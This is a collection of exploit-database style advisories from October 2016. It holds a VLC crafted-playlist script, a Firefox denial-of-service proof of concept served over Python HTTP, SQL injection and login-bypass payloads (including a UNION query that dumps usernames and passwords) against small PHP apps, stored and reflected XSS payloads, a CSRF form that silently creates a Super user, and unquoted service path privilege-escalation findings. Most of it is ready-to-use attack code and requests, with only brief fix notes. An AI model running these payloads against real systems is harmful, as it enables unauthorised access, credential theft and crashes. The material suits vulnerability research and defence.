Software Link: https://www.videolan.org/vlc/releases/2.2.1.html
Tested on:win7
video :https://www.facebook.com/pentest3/videos/vb.100012552940568/189735791454851/?type=2&theater¬if_t=video_processed¬if_id=1475012468070044
*************************************************************************************
filecreate = "payload.wmv" # create file (payload.wmv)
buffer = ("\x23\x45\x58\x54\x4d\x33\x55\r\n\x23"+
"\x45\x58\x54\x2d\x58\x2d\x53\x54\x52"+
"\x45\x41\x4d\x2d\x49\x4e\x46\x3a\x50"+
"\x52\x4f\x47\x52\x41\x4d\x2d\x49\x44"+
"\x3d\x31\x2c\x42\x41\x4e\x44\x57\x49"+
"\x44\x54\x48\x3d\x31\x2c\x52\x45\x53"+
"\x4f\x4c\x55\x54\x49\x4f\x4e\x3d\x31"+
"\x32\x30\x78\x33\x36\x30\r\n")
buffer += filecreate
open(filecreate, "wb").write(buffer)
print "create file done {}".format(filecreate)
import BaseHTTPServer
import sys
from SimpleHTTPServer import SimpleHTTPRequestHandler
HandlerClass = SimpleHTTPRequestHandler
ServerClass = BaseHTTPServer.HTTPServer
Protocol = "HTTP/1.0"
if sys.argv[1:]:
port = int(sys.argv[1])
else:
port =8080
server_address = ('192.168.100.3',8080)
HandlerClass.protocol_version = Protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print sa[0],sa[1],filecreate
print "open vlc and open file {}".format(filecreate)
print "LISTENING..",sa[0],sa[1],filecreate
httpd.serve_forever()
# Exploit Title.............. Simple Dynamic Web SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Chinthaka%20Deshapriya/dynamic_web_page.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A
The audit_list in /page.php
----snip----
$prodID = $_GET['prodid'];
if(!empty($prodID)){
$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
$ptitle = $getProdInfo["title"];
$pdes = $getProdInfo["description"];
$pimg = $getProdInfo["imgUrl"];
}
----snip----
Example exploitation
--------------------
http://server/path_to_webapp/page.php?prodid=-3%27%20union%20select%201,2,@@version,4--+
How to fix
----------
Simple method's use the php function intval.
For example
$prodID = intval($_GET['prodid']);
if(!empty($prodID)){
$sqlSelectSpecProd = mysql_query("select * from page where id = '$prodID'") or die(mysql_error());
$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
$ptitle = $getProdInfo["title"];
$pdes = $getProdInfo["description"];
$pimg = $getProdInfo["imgUrl"];
}
Credits
-------
This vulnerability was discovered and researched by lahilote
References
----------
http://www.sourcecodester.com/php/10888/simple-dynamic-web-site.html
http://php.net/manual/en/function.intval.php
'''
#Title: Firefox 49.0.1 crash Denial of Service
#Date: 15 Oct 2016
#Author: sultan albalawi
#video: https://www.facebook.com/pentest3/videos/vb.100012552940568/199310163830747/?type=2&theater
#Tested on:win7
#Open link in firefox
#Double click on the Click You will see the report that there are crach
.........................................................................
'''
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import subprocess,string
host='192.168.100.3'
port=6060
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
print ban
print "please wait ...."
i=1
while i <= 4120:
i+=1
ban+=string.ascii_uppercase*250
ban=ban
class Req(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write('''<html>
<head>
<title>Firefox 49.0.1 Vulnerability</title>
</br>
<h1>Firefox 49.0.1 Vulnerability <h1>
<h1>\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x2d\x61\x6c\x62\x61\x6c\x61\x77\x69<h1>
<h1>\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n<h1>
</div>'''+''+'''</body>
<script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 50000; i++) {
buffer += "\x41";
}
var buffer2 = buffer;
for (i = 0; i < 5000; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>'helo firefox'<a href="javascript:ex();">CLICK
</a></body></html>''')
class runHTTP(HTTPServer):
def __init__(self,host,port):
ipadd=(host,port)
HTTPServer.__init__(self,ipadd,Req)
def createfile():
global filecreate
filecreate = "Firefox.dat"
open(filecreate, "wb").write(ban)
print filecreate
createfile()
def start():
global filecreate
ser=runHTTP(host,port)
print "http://{}:{}/{}".format(host,port,filecreate)
ser.serve_forever()
start()
# Exploit Title: Graylog Collector Service Path Privilege Escalation
# Date: 10/14/2016
# Exploit Author: Joey Lane
# Software Link: https://github.com/Graylog2/collector
# Version: 0.4.2
# Tested on: Windows Server 2012 R2
Graylog Collector installs as a service with an unquoted service path. If
the user installs this service in a directory containing a space, this will
create a privilege escalation vulnerability. To properly exploit this
vulnerability, a local attacker can insert an executable file in the path
of the service. Rebooting the system or restarting the service will run
the malicious executable with elevated privileges.
This was tested on version 0.4.2, but may affect other versions as well.
---------------------------------------------------------------------------
C:\sc qc GraylogCollector
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: GraylogCollector
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\graylog collector\bin\windows\graylog-collector-service-x86.exe //RS//GraylogCollector
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Graylog Collector (GraylogCollector)
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : LocalSystem
---------------------------------------------------------------------------
EXAMPLE:
Using the BINARY_PATH_NAME listed above as an example, an executable named
"graylog.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
#########################################################################
# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=4
# Version : build 16.0.205 (Latest)
# Tested on: Windows 7
##########################################################################
NETGATE Registry Cleaner installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGRegClnSrv
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: NGRegClnSrv
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Registry
Cleaner\RegistryCleanerSrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NETGATE Registry Cleaner Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#########################################################################
# Exploit Title: NETGATE AMITI Antivirus Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=11
# Version : build 23.0.305 (Latest)
# Tested on: Windows 7
##########################################################################
AMITI Antivirus installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AmitiAvSrv
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusSrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Amiti Antivirus Engine Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>sc qc AmitiAvHealth
[SC] QueryServiceConfig SUCCESS
----------------------------------------------------
SERVICE_NAME: AmitiAvHealth
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusHealth.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Amiti Antivirus Health Check
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#########################################################################
# Exploit Title: NETGATE Data Backup Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link:
http://www.netgate.sk/download/download.php?id=5
#version : build 3.0.605 (Latest)
# Tested on: Windows 7
##########################################################################
NETGATE Data Backup installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: NGDatBckpSrv
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Data
Backup\DataBackupSrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NETGATE Data Backup Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Exploit Title............... Student Information System (SIS) Auth Bypass
# Google Dork................. N/A
# Date........................ 14/10/2016
# Exploit Author.............. lahilote
# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
# Version..................... 0.1
# Tested on................... xampp
# CVE......................... N/A
The audit_list in ucc/admin_login.php
-------------------------------------
----snip----
error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {
include 'database_config2.php';
$myusername = $_POST['username'];
$mypassword = $_POST['password'];
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();
----snip----
You can login with username and password: admin' or '1'='1
How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.
Example:
error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {
include 'database_config2.php';
$myusername = mysql_real_escape_string($_POST['username']);
$mypassword = mysql_real_escape_string($_POST['password']);
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and PASSWORD='$mypassword'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();
Credits
-------
This vulnerability was discovered and researched by lahilote
References
----------
http://www.sourcecodester.com/php/10902/student-information-system-sis.html
http://php.net/manual/en/function.mysql-real-escape-string.php
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A
The audit_list in /admin/print_employed.php
-------------------------------
----snip----
48 <?php $get_id = $_GET['id'];?>
----snip----
/admin/index.php
----------------
----snip----
$user = $_POST['username'];
$password = $_POST['password'];
$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());
----snip----
Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+
http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1
How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.
Example: /admin/print_employed.php
48 <?php $get_id = intval($_GET['id']);?>
Example: /admin/index.php
$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());
Credits
-------
This vulnerability was discovered and researched by lahilote
References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php
# Exploit Title: PHP Telephone Directory - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=2
# Software Link: http://www.pagereactions.com/downloads/phptelephonedirectory.zip
---------------------------------------------------------------------------------
POC as follows :
# 0x00 Reflected XSS
---
1.In public search :
http://192.168.1.112/phptelephonedirectory/index.php?key=<svg/onload=alert(1)>
2.In administration web interface (need normal user login) :
http://192.168.1.112/phptelephonedirectory/administration.php?key=<svg/onload=alert(1)>
# 0x01 Stored XSS
---
1.In administration web directory interface (need normal user login) :
http://192.168.1.112/phptelephonedirectory/administration.php
?pageaction=newcontact
&subaction=submit
&id=1
&dtDOBDate=0000-00-00
&pointcode=<script>alert(1)/*
&contacttitle=*/</script>
&firstname=<script>alert(2)</script>
&lastname=<script>alert(3)</script>
&middlename=<script>alert(4)</script>
&DOBdateradio=usenew
&dateday=16
&datemonthnewedit=10
&dateyearnewedit=2015
&employeeID=<script>alert(5)/*
&otherID=*/</script>
&phonenumber1=<script>alert(6)</script>
&internalphonenumber=<script>alert(7)</script>
&phonenumber2=<script>alert(8)</script>
&phonenumber3=<script>alert(9)</script>
&fax=<script>alert(10)</script>
&mobilecell=<script>alert(11)</script>
&email=<script>alert(12)</script>
&alternateemail=<script>alert(13)</script>
&chat=<script>alert(14)</script>
&website=<script>alert(15)</script>
&socialmedia1=<script>alert(16)</script>
&socialmedia2=<script>alert(17)</script>
&socialmedia3=<script>alert(18)</script>
&contactposition=<script>alert(19)</script>
&company=<script>alert(20)</script>
&qualifications=<script>alert(21)</script>
&departmentnewedit=
&buildingroom=<script>alert(22)</script>
&address=<script>alert(23)</script>
&city=<script>alert(24)</script>
&suburb=<script>alert(25)</script>
&tdstate=<script>alert(26)</script>
&zippostcode=<script>alert(27)/*
&country=*/</script><script>alert(28)</script>
&description=<script>alert(29)</script>
&recordstatus=active
2.In administration web department interface (need normal user login) :
http://192.168.1.112/phptelephonedirectory/administration.php?pageaction=newdepartment&subaction=submit&departmentname=</select><svg/onload=alert(1)><select>
# 0x02 CSRF (add Super user)
---
In http://192.168.1.103/csrf.html :
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.1.112/phptelephonedirectory/administration.php" method="POST">
<input name="pageaction" value="saveuser" type="hidden" />
<input name="subaction" value="submit" type="hidden" />
<input name="username" value="larry_csrf" type="hidden" />
<input name="password" value="larry_csrf" type="hidden" />
<input name="userfullname" value="larry_csrf" type="hidden" />
<input name="accesslevel" value="Super" type="hidden" />
<input name="userstatus" value="active" type="hidden" />
<input name="mysubmit" value="submit" type="submit" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
* Thanks to Besim *
#########################################################################
# Exploit Title: Spy Emergency Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.spy-emergency.com/
# Software Link: http://www.spy-emergency.com/download/download.php?id=1
#version : build 23.0.205 (Latest)
# Tested on: Windows 7
##########################################################################
Spy Emergency installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc SpyEmrgHealth
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SpyEmrgHealth
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencyHealth.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Spy Emergency Health Check
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
------------------------------------------------------------------
C:\>sc qc SpyEmrgSrv
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SpyEmrgSrv
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencySrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Spy Emergency Engine Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem